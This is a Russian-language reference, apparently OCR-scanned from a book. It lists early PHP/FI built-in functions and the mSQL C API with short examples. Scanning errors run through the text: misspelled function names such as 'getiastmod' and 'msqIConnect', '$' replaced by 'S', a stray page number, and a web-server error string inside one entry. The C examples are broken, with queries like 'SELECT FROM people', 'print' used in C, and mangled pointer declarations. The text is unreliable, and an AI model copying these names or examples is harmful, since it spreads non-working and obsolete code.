    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег [an error occurred while processing this directive] . Эта функция полезна только вместе с веб-сервером Apache.



    MSQLCAPI

    API для языка С в mSQL версии 2 не имеет принципиальных отличий от реализации в mSQL 1. Однако были добавлены некоторые новые функции, и было внесено несколько изменений в уже существующие функции. Если функция может быть использована только в mSQL 2, на это обращается особое внимание.

    Типы данных

    mSQL С API кроме стандартных типов данных языка С использует некоторые свои типы. Они определены в заголовочном файле 'msql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку mSQL.

    m_result

    Структура, содержащая результаты оператора SELECT (или SHOW). Доступ к результатам запроса следует осуществлять через элемент этой структуры m_row.

    m_row

    Одна запись из данных, возвращаемых запросом SELECT. Результаты всех типов данных mSQL хранятся в этом типе (как массив символьных строк).

    m_field

    Структура, содержащая всю информацию, которая касается отдельного поля таблицы. Элементы структуры m_field могут быть проверены напрямую и имеют следующее строение:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей поле. Это значение пустое (null), если результирующий набор не относится к настоящей таблице.

    int type

    Тип поля. Является целым числом, соответствующим типам данных mSQL SQL, определенным в заголовочном файле msql.h.

    int length

    Длина поля в байтах.
    int flags

    Ноль или более флагов. Доступ к флагам осуществляется- через следующие макросы:

    IS_PRI_KEY(flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле определено как NOT NULL.

    msqIConnect

    int msqIConnect ( char*host )

    Создает подключение к серверу mSQL с указанным именем хоста или IP-адресом. Если в аргументе передать пустое значение, будет создано подключение к серверу mSQL на локальном хосте, с использованием сокетов Unix. Функция возвращает описатель базы данных, применяемый для связи с сервером баз данных. В случае ошибки вернется — 1.

    Пример

    /* Создать подключение к серверу баз данных на локальном хосте*/

    dbh = msqlConnect( (char*)NULL );

    if (dbh == -1) {

    print " Ошибка при подключении!\n";

    exit(1); }

    msqISelectDB

    int msqISelectDB ( int sock , char*dbName )

    Выбирает базу данных для указанного подключения. Базу данных необходимо выбрать до того, как будут посланы любые запросы к серверу баз данных. В случае ошибки возвращается — 1.

    Пример

    /* Выбрать базу данных "mydatabase" */

    result = msqlSelectDB( dbh, "mydatabase" );

    if (result == -1) {

    print "Ошибка при выборе базы данных! \n";

    exit(1); }

    msqIQuery

    int msqlQuery( int sock , char*query )

    Выполняет указанный SQL-запрос. В mSQL 2 в возвращаемом значении содержится количество записей, измененных запросом (или выбранных запросом SELECT). В mSQL 1 при успешном выполнении возвращается ноль. В случае ошибки обе версии возвращают — 1.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    msqIStoreResult

    m_result *msqlStoreResult()

    Сохраняет результат запроса SELECT. Эту функцию вызывают сразу после вызова msqIQuery с запросом SELECT. Результаты запроса сохраняются в структуре m_result. Новые запросы посылаются серверу баз данных только после вызова этой функции. Каждая структура m_result должна быть освобождена с помощью msqlFreeResult по завершении работы с ней.

    Пример

    m_result *results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    IK. 897

    /* К данным из этого запроса можно обращаться через'results'. Теперь можно выполнять новые запросы */

    msqIFreeResult

    void msqIFreeResult ( m_result*result )

    Освобождает память, связанную со структурой m_result.

    Пример

    m_result "results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    /* Выполнить работу */

    msqIFreeResult(results);

    msqIFetchRow

    m_row msqIFetchRow ( m_result*result )

    Выбирает одну запись из результирующего набора. Данные помещаются в структуру m_row, которая является массивом символьных строк. Каждый успешный вызов функции msqIFetchRow возвращает следующую запись до тех пор, пока не будет достигнут конец набора, тогда будет возвращено нулевое значение.


    Пример

    m_result *results;

    m_row "row;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    printf("Третье поле первой записи в таблице: %s\n", row[2]);

    msqlDataSeek

    void msqlDataSeek ( m_result* result, int pos )

    Устанавливает курсор, указывающий функции msqIFetchRow, .какую строку выбирать при следующей операции. Установив курсор в позицию 0, вы переместите его в начало данных. Установив курсор в позицию после последней записи, вы поместите его в конец данных.

    Пример

    m_result *results;

    m_row Vow;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    /* Вернуться к исходной позиции */ msqlDataSeek(results, 0);

    msqINumRows

    int msqINumRows ( m_result*result )

    Возвращает число строк в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult(); rows = msqlNumRows(results);

    msqIFetchField

    m_field "msqIFetchField ( m_result*result )

    Возвращает информацию о полях в результирующем наборе. Каждый успешный вызов функции msqIFetchField вернет структуру m_f ield для очередного поля, пока полей больше не останется, и тогда будет возвращено пустое значение.

    Пример

    m_field *field;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о первом поле

    в результирующем наборе */

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о втором поле в том же наборе записей */

    msqlFieldSeek

    void msqlFieldSeek ( m_result*result , int pos )

    Устанавливает курсор, указывающий функции msqlFetchField какое поле выбирать в следующий раз. Установив курсор в позицию после последнего поля, вы, собственно, установите его просто после последнего поля.

    Пример

    m_result "results; m_field 'field;


    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* Вернутся к исходной позиции */

    msqlFieldSeek(results, .0);

    msqlNumFields

